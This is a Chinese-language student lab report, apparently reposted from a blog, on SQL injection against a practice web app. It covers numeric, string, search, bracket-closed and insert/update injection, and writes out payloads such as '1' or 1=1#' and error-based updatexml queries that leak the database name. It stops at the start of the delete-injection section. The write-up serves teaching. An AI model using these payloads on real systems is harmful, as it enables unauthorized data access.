Web攻击技术 实验报告三 SQL注入

一、SQL注入

1.数字型注入

 随便选一个,抓包

可以看到是POST

直接加一个真命题

可以看到都爆出来了。

2.字符型注入

先输入‘ 有报错,所以存在SQL注入。

我们直接构造payload:1' or 1=1#

OK

3.搜索型注入

也是加单引号,发现报错,存在SQL注入点。

这个类型,我们推测用的是SQL语句中的like来进行模糊判断

 那我们就可以猜测模糊查询的字段应该是'%查询内容%'

 那么我可以构造

1%' or 1=1#

ok。

4.xx型注入

说白了就是闭合的符号不一样,我们构造payload

1') or 1=1#

 

ok

5.insert/update注入

学过数据库,知道insert就是在数据库中添加数据

 那么我们注册一个账号,是不是就是在数据库中添加了账号数据

 那么我们可以在注册页面插入我们的注入语句

我们猜测后台的mysql语句应该是

 insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

 那我们可以在xxx的位置构造我们的注入语句

 xxx' or updatexml(1,concat(0x7e,database()),0) or '

可以看到通过报错获取到了数据库名称

我们来分析一下后台的SQL语句

insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)

 说一下问什么这样构造payload,首先介绍一个函数updatexml() : 是mysql对xml文档数据进行查询和修改的xpath函数,updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

  •  语法:updatexml(xml_document,XPthstring,new_value)
  •  第一个参数是字符串
  • 第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
  • 第三个参数是将要替换成什么
  •  Xpath定位必须是有效的,否则则会发生错误

接下来是update注入

我们先正经注册一个账号,然后登陆。

还是和之前一样,我们要想象,后台的mysql语句是怎么执行的

更新我们的信息,需要用到的时候update语句

当修改性别的时候推测后台执行了

  • update tables set sex = '$sex' where name = 'boy';

这样我们可以在$sex处构造语句

  • xxx' or updatexml(1,concat(0x7e,database()),0) or '

把构造好的语句插入进去看看

update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '

' where name = 'boy';

就构造了一个闭合,可以查询我们想要查询的内容了

 

 6.delete注入

 

既然是delete注入,那肯定是在删除这里,我们先随便留几条言.

然后我们开启抓包,进行删除操作。

猜你喜欢

转载自www.cnblogs.com/p201721240019/p/12046153.html